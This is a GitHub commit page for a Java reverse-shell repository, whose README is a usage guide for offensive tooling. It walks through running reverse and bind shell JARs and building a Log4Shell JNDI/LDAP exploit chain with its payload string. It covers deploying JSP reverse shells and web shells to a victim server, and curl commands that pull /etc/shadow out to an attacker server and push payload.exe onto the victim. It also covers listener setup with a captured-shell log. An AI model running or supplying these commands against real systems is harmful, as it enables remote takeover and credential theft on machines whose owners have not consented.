Skip to content

Commit 3815e5d

Browse files
ivan-sincekivan-sincek
committed
Initial Commit
0 parents  commit 3815e5d

40 files changed

+7329
-0
lines changed

‎.gitattributes

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Auto detect text files and perform LF normalization
2+
* text=auto

‎.gitignore

+70
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#NetBeans
2+
**/nbproject/private/
3+
**/nbproject/Makefile-*.mk
4+
**/nbproject/Package-*.bash
5+
build/
6+
nbbuild/
7+
dist/
8+
nbdist/
9+
.nb-gradle/
10+
11+
# Compiled class file
12+
*.class
13+
14+
# Log file
15+
*.log
16+
17+
# BlueJ files
18+
*.ctxt
19+
20+
# Mobile Tools for Java (J2ME)
21+
.mtj.tmp/
22+
23+
# Package Files #
24+
*.jar
25+
!/jar/*.jar
26+
*.war
27+
*.nar
28+
*.ear
29+
*.zip
30+
*.tar.gz
31+
*.rar
32+
33+
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
34+
hs_err_pid*
35+
36+
.gradle
37+
/build/
38+
39+
# Ignore Gradle GUI config
40+
gradle-app.setting
41+
42+
# Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored)
43+
!gradle-wrapper.jar
44+
45+
# Cache of project
46+
.gradletasknamecache
47+
48+
# # Work around https://youtrack.jetbrains.com/issue/IDEA-116898
49+
# gradle/wrapper/gradle-wrapper.properties
50+
/src/Reverse.Shell/target/
51+
52+
target/
53+
pom.xml.tag
54+
pom.xml.releaseBackup
55+
pom.xml.versionsBackup
56+
pom.xml.next
57+
release.properties
58+
dependency-reduced-pom.xml
59+
buildNumber.properties
60+
.mvn/timing.properties
61+
.mvn/wrapper/maven-wrapper.jar
62+
/src/Reverse Shell/nbproject/private/
63+
/src/Reverse Shell/build/
64+
/src/Reverse Shell/dist/
65+
/src/Bind Shell/nbproject/private/
66+
/src/Bind Shell/build/
67+
/src/Bind Shell/dist/
68+
/src/Web Shell/nbproject/private/
69+
/src/Web Shell/build/
70+
/src/Web Shell/dist/

‎LICENSE

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2021 Ivan Šincek
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

‎README.md

+204
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
# Java Reverse TCP
2+
3+
JAR, JSP, and Java files for communicating with a remote host.
4+
5+
Remote host will have a full control over the client and all the underlying system commands.
6+
7+
Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Program will automatically detect an underlying OS.
8+
9+
Works with both `ncat` and `multi/handler`.
10+
11+
Built with JDK v8 on Apache NetBeans IDE v17 (64-bit). All the files require Java SE v8 or greater to run.
12+
13+
JAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2023.1 (64-bit).
14+
15+
JSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 (64-bit).
16+
17+
Made for educational purposes. I hope it will help!
18+
19+
## Table of Contents
20+
21+
* [JAR Shells](#jar-shells)
22+
* [Log4j Shells](#log4j-shells)
23+
* [JSP Shells](#jsp-shells)
24+
* [JSP Reverse Shell](#jsp-reverse-shell)
25+
* [JSP Web Shells](#jsp-web-shells)
26+
* [JSP File Upload/Download Script](#jsp-file-uploaddownload-script)
27+
* [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server)
28+
* [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server)
29+
* [Set Up a Listener](#set-up-a-listener)
30+
* [Runtime](#runtime)
31+
32+
## JAR Shells
33+
34+
Check the source code of JAR files:
35+
36+
* [/src/Reverse Shell/src/reverse/shell/ReverseShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Reverse%20Shell/src/reverse/shell/ReverseShell.java)
37+
* [/src/Reverse Shell/src/reverse/shell/BindShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Bind%20Shell/src/bind/shell/BindShell.java)
38+
39+
---
40+
41+
Open your preferred console from [/jar/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/jar) and run the following commands:
42+
43+
```fundamental
44+
java -jar Reverse_Shell.jar 192.168.8.185 9000
45+
46+
java -jar Bind_Shell.jar 9000
47+
```
48+
49+
## Log4j Shells
50+
51+
This PoC was tested on Kali Linux v2021.4 (64-bit).
52+
53+
**Change the IP address and port number inside the source files as necessary.**
54+
55+
Open your preferred console from [/log4j/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/log4j) and run the following commands:
56+
57+
Compile the source file:
58+
59+
```fundamental
60+
javac ReverseShell.java
61+
```
62+
63+
Start a local web server from the same directory as the compiled class file (i.e. `ReverseShell.class`):
64+
65+
```fundamental
66+
python3 -m http.server 9090
67+
68+
python3 -m http.server 9090 --directory somedirectory
69+
```
70+
71+
Download and build LDAP server:
72+
73+
```bash
74+
apt-update && apt-get install maven
75+
76+
git clone https://github.com/mbechler/marshalsec && cd marshalsec && mvn clean package -DskipTests && cd target
77+
```
78+
79+
Start a local LDAP server and create a reference to the compiled class file on your local web server:
80+
81+
```fundamental
82+
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell
83+
```
84+
85+
Credits to the author for [marshalsec](https://github.com/mbechler/marshalsec)!
86+
87+
Give the local LDAP server a public domain with [ngrok](https://ngrok.com):
88+
89+
```fundamental
90+
./ngrok tcp 1389
91+
```
92+
93+
Build the JNDI string (obfuscate it however you like):
94+
95+
```fundamental
96+
${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell}
97+
```
98+
99+
## JSP Shells
100+
101+
### JSP Reverse Shell
102+
103+
**Change the IP address and port number inside the script as necessary.**
104+
105+
Copy [/jsp/jsp_reverse_shell.jsp](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/jsp_reverse_shell.jsp) to your projects's root directory or upload it to your target's web server.
106+
107+
Navigate to the file with your preferred web browser.
108+
109+
### JSP Web Shells
110+
111+
Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_post.jsp) based on HTTP POST request.
112+
113+
Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_get.jsp) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands.
114+
115+
## JSP File Upload/Download Script
116+
117+
Check the [simple JSP file upload/download script](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/files.jsp) based on HTTP POST request for file upload and HTTP GET request for file download.
118+
119+
When downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file.
120+
121+
### Case 1: Upload the Script to the Victim’s Server
122+
123+
Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.
124+
125+
Upload a file to the victim's server web root directory from your PC:
126+
127+
```fundamental
128+
curl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe
129+
```
130+
131+
Download a file from the victim's PC to your PC:
132+
133+
```fundamental
134+
curl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow
135+
```
136+
137+
If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.
138+
139+
### Case 2: Upload the Script to Your Server
140+
141+
From your JSP reverse shell, run the following cURL commands.
142+
143+
Upload a file from the victim's PC to your server web root directory:
144+
145+
```fundamental
146+
curl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow
147+
```
148+
149+
Download a file from your PC to the victim's PC:
150+
151+
```fundamental
152+
curl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe
153+
154+
curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe
155+
```
156+
157+
## Set Up a Listener
158+
159+
To set up a listener, open your preferred console on Kali Linux and run one of the examples below.
160+
161+
Set up `ncat` listener:
162+
163+
```fundamental
164+
ncat -nvlp 9000
165+
```
166+
167+
Set up `multi/handler` listener:
168+
169+
```fundamental
170+
msfconsole -q
171+
172+
use exploit/multi/handler
173+
174+
set PAYLOAD windows/shell_reverse_tcp
175+
176+
set LHOST 192.168.8.185
177+
178+
set LPORT 9000
179+
180+
exploit
181+
```
182+
183+
## Runtime
184+
185+
```fundamental
186+
┌──(root💀kali)-[~/Desktop]
187+
└─# ncat -nvlp 9000
188+
Ncat: Version 7.93 ( https://nmap.org/ncat )
189+
Ncat: Listening on :::9000
190+
Ncat: Listening on 0.0.0.0:9000
191+
Ncat: Connection from 192.168.1.117.
192+
Ncat: Connection from 192.168.1.117:49895.
193+
Microsoft Windows [Version 10.0.18363.1556]
194+
(c) 2019 Microsoft Corporation. All rights reserved.
195+
196+
C:\Users\W10\Desktop\Reverse Shell>whoami
197+
desktop-4kniu10\w10
198+
199+
C:\Users\W10\Desktop\Reverse Shell>ver
200+
201+
Microsoft Windows [Version 10.0.18363.1556]
202+
203+
C:\Users\W10\Desktop\Reverse Shell>
204+
```

‎jar/Bind_Shell.jar

6.84 KB
Binary file not shown.

‎jar/Reverse_Shell.jar

6.8 KB
Binary file not shown.

0 commit comments

Comments
 (0)